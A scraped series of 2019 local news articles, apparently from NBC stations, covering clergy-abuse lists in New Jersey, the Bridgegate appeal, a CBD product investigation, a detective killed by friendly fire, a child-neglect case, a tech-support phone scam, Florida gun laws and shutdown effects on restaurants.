New Jersey's five Roman Catholic dioceses listed more than 180 priests Wednesday who have been credibly accused of sexually abusing minors over a span of several decades, joining more than two dozen other states that have named suspected abusers in the wake of a landmark grand jury report in Pennsylvania last year.

The lists released Wednesday identified priests and deacons who served in the dioceses of Camden, Trenton, Metuchen and Paterson and the archdiocese of Newark. Many priests on the lists are deceased, and others have been removed from ministry.

Cardinal Joseph Tobin, the archbishop of Newark, which listed 63 former priests, said in a statement that he hoped the disclosure "will help bring healing to those whose lives have been so deeply violated."

Camden's diocese listed 56 priests and one deacon; Trenton's diocese named 30 priests; the Paterson diocese listed 28; and Metuchen's diocese named nine plus two others who are currently the subject of civil investigations.

State Attorney General Gurbir Grewal formed a task force in the fall to conduct a criminal investigation into sexual abuse by clergy in the state, shortly after a Pennsylvania grand jury report identified over 300 predator priests and more than 1,000 victims in that state.

"While this is a positive first step towards transparency and accountability, I hope this spirit of openness continues during the course of our ongoing investigation and in response to our requests for records and information," Grewal said in a statement Wednesday.

Newark's list includes Theodore McCarrick, a former Newark archbishop who served as Washington, D.C., archbishop from 2000 to 2006. McCarrick was removed from public ministry in June.

The lists released by the diocese don't include details about specific allegations or when they are alleged to have happened; rather, any details about the named priests and the crimes of which they are accused come from court records or previously published reports.

Several priests who served in the Newark archdiocese have been accused of molesting boys as part of their volunteer work with Boy Scout troops, according to published reports. Others named in the release were arrested, convicted or pleaded guilty and were returned to service after probation or treatment, according to court records and published reports.

Carmen Sita changed his name to Gerald Howard after being sentenced to probation and receiving treatment and began serving as a priest in the Jefferson City, Missouri, diocese where he was assigned to a parish attached to a school. He was later accused of abusing teenage boys and was convicted a second time. The Missouri diocese reported Howard is currently incarcerated.

Former priest Richard Mieliwocki, who was convicted and sentenced to probation, disappeared after starting counseling and resurfaced when he was accused of molesting teenagers as a counselor in an in-patient substance abuse program.

Another priest named Wednesday, Manuel Gallo Espinoza, was indicted by a grand jury in 2016 after admitting to at least one allegation of abuse. He fled to Ecuador, and a warrant was issued for his arrest.

The lists don't include religious order priests, such as Jesuits, who may serve in parishes or schools but are not ordained by the diocese. A victims' compensation fund announced this week in New Jersey also won't cover claims against religious order priests.

Mitchell Garabedian, an attorney who has represented alleged victims in New Jersey, said the release of names isn't enough.

"Given the vast number of priests named as sexual abusers and the span of time in which the sexual abuse took place, it is fair to state that the Archdiocese and Dioceses in New Jersey have forgotten how to be moral and kind with children," he said in a statement.

Nearly 2,000 accused clergy members and others nationwide have been identified since and including the Pennsylvania grand jury report, a review by The Associated Press found.What to Know Onetime staffer to former NJ Gov. Chris Christie plans to appeal her conviction in the GWB lane-closing case to the U.S. Supreme Court

Lawyers for Bridget Kelly told a judge last week she will petition the high court

Kelly, bridge authority executive were convicted in alleged plot to cause traffic jams to punish mayor who wouldn't endorse Christie

A onetime staffer to former New Jersey Gov. Chris Christie plans to appeal her conviction in the George Washington Bridge lane-closing case to the U.S. Supreme Court, according to recently filed court papers.

Lawyers for Bridget Kelly notified a judge last week she will petition the high court.

Kelly was Christie's deputy chief of staff in 2013 when, prosecutors allege, she and two officials at the Port Authority of New York and New Jersey conspired to close access lanes to the bridge over four days to create gridlock in the town of Fort Lee, whose Democratic mayor had declined to endorse Christie, a Republican, for re-election.

Kelly authored the infamous "Time for some traffic problems in Fort Lee" email the month before the lane realignment went into effect.

Kelly and former Port Authority executive Bill Baroni, a former New Jersey state senator, were convicted in 2016 of wire fraud, conspiracy and civil rights counts and sentenced to 18 and 24 months, respectively.

The third alleged conspirator, former Port Authority official David Wildstein, a high school acquaintance of Christie's, pleaded guilty and testified for the prosecution. He was sentenced to probation.

Christie wasn't charged and denied prior knowledge of the scheme, though that version was contradicted by several witnesses who testified during the trial. The ensuing publicity helped derail Christie's efforts to be the GOP's 2016 presidential nominee.

Kelly's attorneys have argued that while Baroni's and her actions may have been ethically questionable, they weren't illegal because neither derived personal benefit, and the bridge was still being used for a public purpose.

Attorneys also have contended the trial judge erred when she ruled jurors didn't have to believe the lane realignment was for a political purpose in order to find the defendants guilty.

Kelly and Baroni have been free on bail since their arrests in 2015. In November, a three-judge panel at the 3rd U.S. Circuit Court of Appeals in Philadelphia threw out the civil rights convictions, which related to impeding intrastate travel, but upheld the more serious counts.

Baroni elected to go ahead with a resentencing, scheduled for later this month. Kelly petitioned to have the full 3rd Circuit reconsider her appeal but was turned down last week.

The letter to the judge from her attorney, Michael Critchley, said the Supreme Court petition would be filed this week so the court could decide in its current term whether to hear the case.What to Know A man released a large, white rat into a McDonald's in Newark on Feb. 5, the eatery's owner and operator confirmed

Cell phone video shows patrons scrambling to exit the eatery as the rat scurries around on the floor

The restaurant was "thoroughly cleaned and sanitized" after the incident. Police are searching for the man who released the rat

A man released a large, white rat into a McDonalds in New Jersey last week, sending patrons scrambling for the exit in an incident that was caught on video.

Cellphone video that appears to have been shot by an accomplice shows a man walk into the McDonalds holding a plastic pet carrier with the rodent inside.

The man opens the carrier, tips the rat onto the floor and runs away as havoc ensues, the video shows.

According to one dermatologist, there are four things you need to be doing in the shower to lower your risk of infection, itching, acne and dry skin. KPRCs Haley Hernandez reports.

Screams can be heard as patrons run toward the exit and out the door. The rodent in question appears to scurry under a table.

In a statement, the eaterys owner and operator Celest Quintana confirmed that the rat was released in the restaurant at 772 Broad Street in Newark on Feb. 5, adding that the safety of our customers and the cleanliness of our restaurants are our top priority.

Following this incident, our restaurant staff thoroughly cleaned and sanitized the dining area and contacted the police, Quintana said. We are currently working with local law enforcement to identify the person responsible for this deliberate act."

Newark police didnt immediately respond to request for comment on the incident.

New footage obtained by News 4 shows the fight that left 21 correction officers hurt at a juvenile detention facility in the Bronx earlier this week. Sarah Wallace reports.What to Know CBD is a chemical found in marijuana and hemp plants that doesnt get you high, which advocates say help to heal some health problems

Also known as Cannabinol oil can be purchased over-the-counter are unregulated and unmonitored by the Food and Drug Administration

The I-Team tested three brands of CBD oil and four brands of gummies; five samples of each were purchased and the results were startling

NBC 4 New York first highlighted the popularity surrounding CBD-infused products months ago.

CBD, or Cannabinol oil, is a chemical found in marijuana and hemp plants that doesnt get you high, which advocates say help to heal a variety of health problems. CBD products purchased over-the-counter are unregulated and unmonitored by the Food and Drug Administration. NBC New York decided to put dozens of these products to the test to learn what is lurking under the label of certain CBD products.

Users swear by CBD as a treatment for everything from anxiety to chronic pain.

Arliss Buergo has been using CBD oil for more than a year to treat her severe anxiety. She sought out CBD as an alternative to traditional prescription medication. Buergo currently doesnt have a medical prescription for CBD so she has purchased over-the-counter products.

Those anxious moments they seem to just drift away, Buergo told NBC 4 New York.

Users like Buergo encouraged NBC 4 New York to put over-the-counter products to the test. The I-Team wanted to know: are you getting what youre promised on the labels?

The I-Teams producer went online and undercover to local storefronts to purchase a variety of CBD products. The I-Team tested three brands of CBD oil and four brands of gummies. We purchased five samples of each brand and the results were startling.

The I-Team spoke with Chris Martinez, owner of Evio Labs in Miami, Florida.

Its concerning and its alarming, Martinez told the I-Team, when he reviewed the results of our lab report. That report revealed that two of the brands of oils tested had samples rejected by the lab because they do not meet California standards for quality control.

A sample labelled as "Lazarus Naturals" was flagged by Evio Labs because it contained lead.

NBC 4 New York purchased the Lazarus Naturals sample from an independent seller off Groupon. However, Lazarus Naturals said they couldnt verify that the sample is of their product since it did not have a batch number and they have experienced a problem with counterfeit products sold on unapproved marketplaces. Only one of the five samples we purchased that had a Lazarus Naturals label contained lead.

One sample we purchased from CBDistillery contained one pesticide that exceeds Californias acceptable standards. A company spokesperson told NBC 4 New York that the batch in question was tested by an accredited third party lab, and the amounts of pesticides detected passed that laboratory standards.

Additionally, NBC 4 New York purchased Jolly Green CBD oil online and in store.

This is 500mg, one of the store clerks told us.

Turns out, that was not the case, according to the test results.

Martinez told NBC 4 New York: Less than half of the samples that were tested actually had the stated amount of CBD inside the product.

The lab test showed every sample contained less than half of the advertised amount on the packaging. The company did not respond to our requests for comment.

Its not uncommon to see these inconsistencies across the board, Martinez said.

As for the gummies tested, only one of the brands, Green Roads, contained the amount advertised on the packaging.

Two out of the four gummies tested had less than half of the amount advertised and one contained zero. The I-Team purchased 5 packages of Hemp Bombs, they had less than half the amount of CBD advertised. When we reached out to the company for comment they told the I-Team they couldnt verify our testing results. They said that the gummies were made the old way by, sprinkling CBD on them. Now, the company infuses the CBD hemp extract into the gummies.

Another brand purchased online, Gold Line, had similar findings. Results show they have less than half of the amount advertised on their website at the time of purchase. When we reached out to the company for their response they told us that they put the wrong photo online. They called it an innocent mistake and removed the product from the website.

The biggest difference was in gummies purchased from a surgery recovery website called, Danis Doll House. They claim to be the strongest CBD gummies than can help speed up your recovery.

All give of those samples had zero CBD in them, said Martinez.

The owner of the website told the I-Team that they purchase the gummies from a distributor and then apply their own label. She said in an email follow up, she is going to try to get to the bottom of this.

Until there is some type of regulation that levels off the playing field, patients are being duped into buying products that arent really going to benefit them, Martinez said.

You have no idea what youre getting. You dont know where the product is coming from, you dont know who made it, you dont know what was put in it, warns Nate McDonald the General Manager of Operations of Curaleaf New York.

Curaleaf is one of New York states licensed medicinal marijuana producers. Curaleaf produces medicinal CBD and THC products. Unlike CBD found on the shelves of gas stations and online store fronts, medical CBD is strictly regulated.

We have to test potency. We have to test for heavy metals. We have to test for microbiologicals. We have to test for pesticides and fungicides. All of that is required by the state to make sure that the meds are safe, McDonald said.

Buergo said the results gathered by the I-Team should be a wake up call for CBD consumers.

Pay attention to the lab results, pay attention to where its sold from and where the plants are from, Buergo told the I-Team.

Some CBD companies are trying to calm customer fears by putting QR barcodes on the packaging allowing for users to scan and review test results via their smartphones.

Industry experts recommend you make sure CBD-testing is done by a third party and includes results for heavy metals, pesticides and other toxins.What to Know President Trump appeared to be grudgingly leaning toward accepting an agreement that would head off a threatened second government shutdown

People, including some teenagers, are getting their first vaccinations amid a measles outbreak in 10 states, NBC News reported

Cardi B has deactivated her Instagram account following social media criticism of her winning a Grammy for best rap album

Get the top headlines of the day in your morning briefing from NBC 4 New York, Monday through Friday. Sign up for our newsletter here.

Trump Not 'Thrilled' With Border Deal, But Leaning Toward It

Under mounting pressure from his own party, President Trump appeared to be grudgingly leaning toward accepting an agreement that would head off a threatened second government shutdown but provide just a fraction of the money he's been demanding for his Mexican border wall. Trump said he would need more time to study the plan, but he also declared he was not expecting another shutdown this weekend when funding for parts of the government would run out. He strongly signaled he planned to scrounge up additional dollars for the wall by raiding other federal coffers to deliver on the signature promise of his presidential campaign. "I can't say I'm happy. I can't say I'm thrilled," Trump said of the proposed deal. "But the wall is getting built, regardless. It doesn't matter because we're doing other things beyond what we're talking about here." Trump sounded more conciliatory in a tweet, thanking "all Republicans for the work you have done in dealing with the Radical Left on Border Security." Accepting the deal, worked out by congressional negotiators from both parties, would be a disappointment for a president who has repeatedly insisted he needs $5.7 billion for a barrier along the U.S.-Mexico border, saying the project is paramount for national security.

No Escape? 'El Chapo' Likely Off to 'Prison of All Prisons'

In the world of corrections, there are inmates who pose security risks, and then there's "El Chapo." Drug lord Joaquin Guzman has an unparalleled record of jailbreaks, having escaped two high-security Mexican prisons before his ultimate capture and extradition to the United States. So with Guzman convicted of drug trafficking and staring at an expected life sentence, where will the U.S. imprison a larger-than-life kingpin with a Houdini-like tendency to slip away? Experts say Guzman seems the ideal candidate for the federal government's "Supermax" prison in Florence, Colorado, also known as ADX for "administrative maximum," a facility so secure, so remote and so austere that it has been called the "Alcatraz of the Rockies." "El Chapo fits the bill perfectly," said Cameron Lindsay, a retired warden who ran three federal lockups, including the Metropolitan Detention Center in Brooklyn. "I'd be absolutely shocked if he's not sent to the ADX."

Amid Measles Outbreak, People Are Getting Long-Delayed Vaccines

People, including some teenagers, are getting their first vaccinations amid a measles outbreak in 10 states, NBC News reported. Eighteen-year-old Mayci from Augusta, Georgia, said her mother raised her to believe "vaccines are bad, this is something we don't do," but changed her mind after going on Reddit for advice when she heard about the outbreak. Georgia is one of 17 states that allows students to attend school with non-medical exemptions from vaccinations. Experts believe measles outbreaks are linked to the anti-vaccine movement, but the recent one has spurred people to get vaccinated. This January, health officials in Washington state saw a more than 400 percent increase in measles immunizations compared to last year.

Cardi B Deactivates Instagram Account After Grammy Criticism

Cardi B has deactivated her Instagram account following social media criticism of her winning a Grammy for best rap album. Some people said the 26-year-old rapper didn't deserve the Grammy over other nominees. The criticism was amplified by a now-deleted BET tweet that pitted Cardi B against her longtime rival Nicki Minaj. Cardi B shared an expletive-laden video prior to deleting her account saying it's not her style "for people to put other people down to uplift somebody else." She then pointed out how people said she was snubbed when she didn't win for her debut single "Bodak Yellow" last year despite two nominations. The rapper said she worked hard and throughout her pregnancy on her first album "Invasion of Privacy." Her Grammy win made her the first solo female artist to win the award for best rap album.

Rapper 21 Savage Released From Immigration Custody, Lawyers Say

Grammy-nominated rapper 21 Savage was released on bond after spending more than a week in federal immigration custody, his lawyers said. The rapper, whose given name is She'yaa Bin Abraham-Joseph, was arrested during a targeted immigration operation early on Feb. 3. Immigration and Customs Enforcement officials said at the time the British citizen had overstayed his visa and had a felony conviction. In a statement, lawyers Charles Kuck, Dina LaPolt and Alex Spiro said they've been speaking with ICE since his arrest to "clarify his actual legal standing, his eligibility for bond, and provide evidence of his extraordinary contributions to his community and society." They said they received notification in the previous 24 hours, "in the wake of the Grammy Awards at which he was scheduled to attend and perform," that he was granted an expedited hearing.What to Know Det. Brian Simonsen, 42, was killed after being hit by gunfire at the T-Mobile store at Atlantic Avenue and 120th Street in Richmond Hill

Simonsen died in what NYPD Commissioner James O'Neill said appeared to be 'an absolutely tragic case of friendly fire'

The suspect, a 27-year-old career criminal, was shot multiple times and taken to a hospital, sources identified him as Christopher Ransom

BREAKING UPDATE: NYPD Detective Killed in 'Friendly Fire' Shooting Should've Been Off Work, But Opted to Go to Investigate String of Robberies

An NYPD detective was shot and killed while responding to a robbery at a cellphone store in Queens Tuesday night, and NYPD Commissioner James O'Neill says it appears to be "an absolutely tragic case of friendly fire."

Det. Brian Simonsen, 42, was killed after being hit by gunfire at the T-Mobile store in Richmond Hill. Ray Villeda reports.

Det. Brian Simonsen, 42, was killed after being hit by gunfire at the T-Mobile store at Atlantic Avenue and 120th Street in Richmond Hill, according to a preliminary investigation, O'Neill said. Simonsen was a 19-year veteran.

Simonsen and his sergeant were working on an unrelated case in the area when they heard the calls come in for a robbery in progress at the store, O'Neill said. At least one 911 caller reported two workers being forced at gunpoint to the back of the store.

The detectives got there just as patrol units from the 102nd Precinct arrived.

PHOTOS: Police Response to Fatal Shooting of NYPD Detective in Queens

The officers entered the store and saw the suspect emerge from the back, pointing at them with what appeared to be a handgun.

"With the suspect advancing toward them, the officers discharged their weapons and retreated out of the store. That was when Det. Simonsen was shot," O'Neill said.

Two NYPD cops have been shot while responding to a robbery in progress. Jonathan Dienst reports.

"His fellow officers put him in a marked police car and transported him here. The trauma staff did their best to try to save him, and we thank them for that. They were unable to do so," O'Neill added.

The sergeant, later identified as Matthew Gorman, who had eight and a half years with the NYPD, was shot in the leg, and was taken to the hospital by a passerby who stopped to help.

"Make no mistake about it: Friendly fire aside, it's because of the action of the suspect that Det. Simonsen is dead," O'Neill said.

The suspect, a 27-year-old career criminal, was shot multiple times and was taken to Booth Memorial Hospital, where he's listed in stable condition. Sources have identified him as Christopher Ransom.

Law Enforcement Sources

An imitation firearm was recovered at the robbery scene.

"This is an absolute tragedy, the worst outcome any police officer or family of a police officer could ever imagine," O'Neill said. "The sympathies and prayers of the entire New York City Police Department are with the family and colleagues of Det. Simonsen tonight."

Michael Palladino, president of the Detectives Endowment Association union, called Simonsen "the kind of fellow that led by example, led by his actions," and had leadership skills recognized by fellow detectives.

Palladino said of the suspect, "I think we have to ask the question, why is some with such an extensive arrest record out on the street and not incarcerated?"

Mayor de Blasio said "it's a difficult, painful night for our city. We lost a very good man."

In police radio transmissions from the robbery, a 911 dispatcher is heard telling officers, "That's gonna be a gunpoint robbery at T-Mobile. He's got a duffle bag, he's 5-10, medium build. He said he saw the guy take two employees to the back of the location."

Less than two minutes later, a cry is heard amid gunfire: "Attention, shots fired! Shots! Shots fired, shots fired!"

The frantic shouting continues, and then: "Central. He's in the store. He's going to the back. Get covered, guys, get covered."

"Be advised, I'm shot. Perp is still at the location. Please set up a route. I'm going to Jamaica."

Atlantic Avenue was shut down between Lefferts Boulevard and 130th Street as police investigated the scene. At least four bullet holes could be seen in the window of the T-Mobile store, and evidence markers were everywhere.

People in the area said they heard the rapid gunfire during the shootout. One man said he almost walked into the middle of the shooting.

"There was yelling right in front of the T-Mobile store, then they started shooting," he said. "Then they started shooting, then I ducked. I hid behind something."

The NYPD's last line of duty death was in 2017, when 48-year-old Miosotis Familia was shot in the head while sitting in a marked NYPD command vehicle in the Bronx. Officials called it an "unprovoked attack on cops." The suspect, Alexander Bonds, was shot and killed by officers.

[NATL] Top News Photos:Ukraine Protests, The Queen's Speech and MoreIn the commentary (In Chicago, even going to church while black can be dangerous, Feb. 13) about going to church while black and the Chicago Police Department consent decree, Fraternal Order of Police Chicago Lodge 7 magazine editor Mitchell Krugel is quoted mentioning two priorities for officers: getting home to the family and getting to the pension. The former is top priority, of course, but the latter? I would think many of Chicagos finest would cringe at the mention of getting to the pension as a priority. Would police officers like to hear that their childrens teachers are prioritizing getting to their pensions?What to Know Four children found inside makeshift home, covered in feces and apparently malnourished. Two of the kids were locked in a wired dog cage.

Police found the children after being called to the residence following a fight or domestic disturbance.

Mother to the four children and father of one both facing four charges of child endangerment.

North Texas deputies discovered four young children in a "state of neglect," apparently malnourished and covered in feces and urine, living in an outbuilding in rural Wise County Tuesday. Two of the children, deputies say, were being held inside a small locked dog kennel. Their mother and the father to one of the four children, now face child endangerment charges.

Wise County Sheriff's deputies were called to a domestic incident at a residence described by sheriff's deputies as a barn house, or a metal, shop-type outbuilding near County Road 4930 at about 7:15 a.m.

NBC 5 News

NBC 5 News

Deputies arrived to find a man, identified by police as 24-year-old Andrew Joseph Fabila, with a number of scratches on his face. While talking with Fabilia and his partner, 24-year-old Paige Harkings, deputies reported hearing the voices of children coming from a makeshift living space inside the outbuilding.

Craig Johnson, Chief Deputy of the Wise County Sheriff's Office, said deputies went to check on the children and found four kids, ages 5, 4, 3 and 1, living in what deputies described as "filthy" and "cluttered" living conditions.

North Texas deputies discovered four young children in a "state of neglect," in rural Wise County Tuesday; two of the children were being held inside a small locked dog kennel.

Four young children in Wise County who were found malnourished, filthy and living in a "state of neglect," were expected to be transferred from a Fort Worth hospital to foster care Tuesday night. Still, child abuse experts say likely they face several years of treatment and therapy to overcome the apparent abuse.

Investigators said the children all share the same mother and that Fabila is the father to only one of them.

The older two children were found locked in a single, wired, 3-by-3 foot dog kennel, one on a blanket and another on a small toddler bed; the other two children were only partially clothed and all of them were described by deputies as unkempt and in a "state of neglect."

"Locking a child, any time, in a dog crate is unacceptable. When you find them in the state they were found today, covered in fecal material, no food readily available to them, didn't appear to have been cared for. It's unacceptable. It's bad," Johnson said.

Craig Johnson, Chief Deputy with the Wise County Sheriff's Department talks about four young children found malnourished in a home near Rhome, Feb. 12, 2019.

Wise County Sheriff Lane Akin said when deputies found them, all of the children were hungry and thirsty and that "there was plenty of food inside the barn but the refrigerator and the cabinets had been locked so the kids could not get in to get food."

"There was a refrigerator in the residence, but it had three straps on it that served as locking devices to keep people out. In dealing with children ... they were positioned in a manner where those small children would not have access," Johnson said.

Deputies gave food and water to all of the children, all of whom were believed to be small for their ages and malnourished. They were then taken to Cook Children's Hospital in Fort Worth for examinations.

Fabila was treated at the Wise Regional Hospital in Decatur for facial lacerations before joining Harkings at the Wise County Jail where they were each booked on four counts of child endangerment. Harkings was also charged with aggravated assault causing serious bodily injury for the cuts on Fabila's face. The couple was arraigned Wednesday morning and ordered held on $15,000 bond each for each charge.

Neighbors told NBC 5 that they didn't know any children were living in the space and that the man and woman had only begun using the space a couple of weeks ago.

Deepak Andhikari works at a convenience store in nearby Newark. He said Fabila bought gas from him at about 9 p.m. Monday.

"He had all the wounds in his face. That's why I recognize his face," Andhikari said.

Child Protective Services confirmed to NBC 5 they have had previous contact with the parents at a different address and that they're investigating this latest incident. CPS said Tuesday afternoon that the children were being released from the hospital and will be placed into foster care.

Johnson said he had no immediate knowledge of his department having previous contact with the family.

Some neighbors who live near the metal shop where four children were discovered locked up Tuesday said they had no idea the building even served as someone's home.

Two young children were found locked in a dog kennel near Rhome, the Wise County Sheriff's Office said according to the Wise County Messenger.

North Texas deputies discovered four young children in a "state of neglect," in rural Wise County Tuesday; two of the children were being held inside a small locked dog kennel.

NBC 5's Seth Voorhees, Maria Guerrero, Frank Heinz, Meredith Yeomans, Allie Spillyards, Scott Gordon and Eline De Bruijn contributed to this report.Every time Joan Rosenfeld hears her phone ring, she wonders if it's another scammer trying to trick her.

"It makes me very nervous," she told NBC 6. "Nobody needs this stress."

She's been the victim of identity theft before, so she became worried when she started getting suspicious calls a few weeks ago.

"They said that my Microsoft license key had expired and that my computer was going to shut down unless I called them to repair this," she said. "I don't even know what a license key is."

A Windows license key is linked to the operating system on a PC. Microsoft told NBC 6 "properly activated Windows for consumer licenses don't expire" and that "Microsoft will never proactively call you to provide technical assistance."

NBC 6 Responds wanted to talk to the people who had been calling Rosenfeld. At first, they seemed to stay on script, explaining to us what they had told her about the expired license key. But when we asked them if they were scammers, they quickly hung up. When we dialed the number again, it was no longer in service.

"They'll find another number and start scamming all over again," Rosenfeld said.

The Better Business Bureau told NBC 6 they see complaints about these types of scams all the time.

"The best thing to do is search for a number for the company that you actually know and tell them what's going on," said Cinthya Lavin, communications director for the BBB of Southeast Florida. "Hopefully they'll be able to tell you that it's a scammer or a hacker or maybe you do need to purchase something because you have a trial version."

Rosenfeld hoped her story would help others not get duped by hackers.

"They cause a lot of grief but they also have a lot of suckers," she said.

Microsoft also said the best thing to do if you get one of these suspicious calls or pop-ups on your computer is to hang up or close your browser. They also want to hear from you. You can report a scam to Microsoft by clicking here.Much has changed since our community and the nation were rocked by what happened on February 14, 2018 in Parkland.

When it comes to gun rights, some are not happy about the change, while others want more.

One new requirement is that you must be at least 21 to buy rifles.

Another outlaws bump stocks, which allow semiautomatics to fire almost as rapidly as automatics.

And Florida joined other states to enact a so-called "red flag" law, which allows police to confiscate firearms of people determined by a court to be dangerous.

School Shooting Incidents Since 2013

Everytown.org defines the incidents mapped below as any time a firearm discharges a live round inside or into a school building or on or onto a school campus or grounds, as documented by the press and, when necessary, confirmed through further inquiries with law enforcement or school officials. Incidents in which guns were brought into schools but not discharged are not included.

Source: Everytown.org, NBC Staff Reports

Last updated on Nov. 14, 2019

In the weeks after the shooting at Marjory Stoneman Douglas High School, a usually gun-friendly Florida legislature and governor were persuaded to take those actions.

But now State Rep. Mike Hill, R-Pensacola, has filed a bill that would repeal those provision of the new law.

"It was obvious from that law that was signed by the governor that the Second Amendment had come under attack," he said in an interview with the NBC 6 Investigators.

While he said he understands the concerns of  and sympathizes with  the victims' families, he insists the law must go.

Gun Safety Laws

An examination by the Giffords Law Center to Prevent Gun Violence found that of the dozens of gun safety bills passed in 2018, 67 measures enacted in 26 states and Washington, D.C. would have an impact on gun-related deaths and injuries. Click on one of the red or blue colored states for more.

"On the basis of that tragedy, then emotional mob rule took over and the students then along with the parents came here and forced the issue," he said. "I believe the decisions were made based on emotion and not based on your oath that every member took to protect and defend the Constitution, including the Second Amendment."

If Hill is able to guide his bill through both houses of the legislature, it may have a chance of being enacted  Gov. Ron DeSantis has already said he would have vetoed the bill, had he been governor last year.

Others, though, are trying to expand it.

State Sen. Lori Berman (D-Boynton Beach) is sponsoring a bill that would allow families  not just the police  to seek the red flag orders that allows for confiscation of firearms from dangerous people.

"Who better to determine someone is at risk than someone living close to them?" she asked at a news conference announcing the legislation.

Also, a bi-partisan group is circulating petitions to let voters decide if all semiautomatic rifles that can fire more than 10 rounds per clip be registered or, if not, made illegal to possess.

"This common sense approach supported by the majority of Floridians will save lives and will help to prevent the type of massacres we've seen in our state, like Parkland and Orlando," said Gail Schwartz, chairwoman of a group behind the initiative, Ban Assault Weapons Now. She is also aunt to one of the 17 victims of the massacre, Alex Schachter.

A key financial backer of the effort is Al Hoffman, a Republican fundraiser and former ambassador who developed part of Parkland. Struck by the carnage one man with one AR-15 could inflict, he now supports a ban on assault weapons.

While those changes in gun laws came soon after the shooting, more recent changes have been felt at the Broward Sheriff's Office.

Sheriff Scott Israel was suspended by DeSantis three days after the governor took office. Israel is now fighting in the state Senate to get his job back.

He was replaced by a former Coral Springs SWAT sergeant, Gregory Tony, who is making active shooter training a mandatory annual event for all sheriff's deputies. Under Israel, the training was rotated to where some deputies may have received it once every two or three years.

There have been a slew of retirements, resignations and removals of sheriff's employees connected to Israel or the response to the school on the day of the shooting.

But one critical area that has not seen change: an inadequate county-owned public safety radio system that has already been overloaded and failed twice, during shootings at Stoneman Douglas and the Fort Lauderdale Hollywood International Airport.

Sheriff Tony listed it among his top priorities, saying the office will be "working more diligently related to the communication aspects with the radios and the comm centers."

When radios overloaded during the school shooting, Broward County Commissioner Michael Urdine had more than a political interest. His daughter was a senior at the school, though she left early that day. He had been mayor of Parkland for 10 years, so he knew the radio system needed to be replaced.

"Our radio system was built in the 80s," he told the NBC 6 Investigators. "It is time to get this done. We need to get this done. We owe this to our residents."

Coral Springs had already upgraded its system, so its officers who were responding to the school had more reliable access to information, while Broward deputies were handicapped by an overloaded system.

It was the same problem that led to confusion and miscommunication after a man opened fire at the airport in January 2017, killing five.

Now, a year after the shooting in Parkland, the more than $100 million upgrade planned for years is still not complete.

"Delays are not good," he said. "Delays are dangerous. We need to get this done as quickly as we can."

But he fears more delays are coming, now that Hollywood has objected to placing a 32-story tower in West Lake Park.

"If we built this tower in the West Lake Park we were assured by the consultant the system would be finished by this year, in 2019," he said. "Once we move out of that, who knows?"

Hollywood has proposed putting equipment atop a newly constructed apartment tower and says it can be done there for less money and more quickly than constructing an eyesore at the park.

The county commission voted to consider the apartment building location, with Urdine casting the lone no vote.

"Every day it is delayed is another opportunity of potential problems out there,' he said, adding "We need to get this done and we need to get this done right away."Grammy-nominated rapper 21 Savage was released on bond Tuesday after spending more than a week in federal immigration custody, his lawyers said.

The rapper, whose given name is She'yaa Bin Abraham-Joseph, was arrested during a targeted immigration operation early on Feb. 3. Immigration and Customs Enforcement officials said at the time that the British citizen had overstayed his visa and had a felony conviction.

In a statement, lawyers Charles Kuck, Dina LaPolt and Alex Spiro said they've been speaking with ICE since his arrest to "clarify his actual legal standing, his eligibility for bond, and provide evidence of his extraordinary contributions to his community and society."

They said they received notification in the previous 24 hours, "in the wake of the Grammy Awards at which he was scheduled to attend and perform," that he was granted an expedited hearing.

Abraham-Joseph was nominated for two awards at the Grammys, including record of the year for "Rockstar" alongside Post Malone. His second solo album "I Am I Was," released in December, debuted at No. 1 on the Billboard 200 albums chart.

After his arrest, ICE said Abraham-Joseph entered the U.S. legally in July 2005, when he was 12, but has remained in the country illegally since his visa expired in July 2006. He was convicted on felony drug charges in October 2014 in Fulton County, Georgia, ICE said. He was placed in deportation proceedings in federal immigration court.

Abraham-Joseph's lawyers disputed that. They said last week that Abraham-Joseph came to the U.S. when he was 7 and remained in the country until June 2005, when he went to visit the United Kingdom for a month. He returned on a valid visa on July 22, 2005, they said.

"Mr. Abraham-Joseph has been continuously physically present in the United States for almost 20 years, except for a brief visit abroad," his lawyers said. "Unfortunately, in 2006 Mr. Abraham-Joseph lost his legal status through no fault of his own."

Federal immigration officials have known Abraham-Joseph's status since at least 2017, when he applied for a new visa. That application is pending, his attorneys said.

The attorneys also said ICE was incorrect that Abraham-Joseph has a felony conviction on his record. Fulton County prosecutors said they could not provide information on that case because it is sealed.

Abraham-Joseph's lawyers said he asked them to send a message to his supporters.

"(H)e says that while he wasn't present at the Grammy Awards, he was there in spirit and is grateful for the support from around the world and is more than ever, ready to be with his loved ones and continue making music that brings people together," they said.

He added that he "will not forget this ordeal or any of the other fathers, sons, family members, and faceless people, he was locked up with or that remain unjustly incarcerated across the country. And he asks for your hearts and minds to be with them."

Many supporters who rallied on Abraham-Joseph's behalf had used the hashtag #Free21Savage.What to Know The Congressional Budget Office estimates the government shutdown cost the economy $11 billion

Traffic to fine-dining restaurants in the D.C., area dropped by 33 percent during the 35-day shutdown as federal workers miss paycheck

Even fast-food chains in the area see foot traffic decline by 23 percent during the time period

President Donald Trump said he isn't happy with the tentative border wall deal Congress announced Tuesday. But restaurants won't be happy if there's another government shutdown.

If Democrats and Republicans don't reach a final deal by the end of day Friday, another shutdown could once again put pressure on Washington, D.C.-area businesses in an industry that's already struggling with higher labor and commodity costs.

The Congressional Budget Office, a nonpartisan agency, estimated that the 35-day shutdown in December and January, the longest in U.S. history, cost the economy $11 billion, with $3 billion permanently lost.

That $3 billion includes lost revenue for restaurants as tourists skipped trips to the nation's capital to visit the Smithsonian museums and 800,000 federal employees missed paychecks and cashed in on deals and free meals from local eateries instead. Chick-fil-A, Starbucks and Arby's were among national restaurant chains to see a sharp drop in foot traffic, according to a new report.

Foot traffic falls

Gravy Analytics, a Dulles, Virginia-based firm, used anonymous location mobile data to analyze foot traffic to D.C.-area restaurants during the 35-day government shutdown.

Traffic to fine-dining restaurants in the area dropped by about 33 percent compared with the same time period last year, founder and CEO Jeff White told CNBC.

"When we look at it, the more discretionary the item, across the board in our data, the more of a precipitous hit it took," White said.

Founding Farmers, a usually busy restaurant with locations in D.C., Maryland and Virginia, saw sales decline by 15 to 30 percent, co-founder Dan Simons told CNBC.

Even fast-food restaurants, known for using deals and lower prices to attract customers, experienced a drop-off in business during the partial shutdown. Gravy Analytics found that the entire category saw foot traffic decline by 23 percent, while nationwide it increased by 2 percent compared with the same time last year.

Chick-fil-A takes a hit

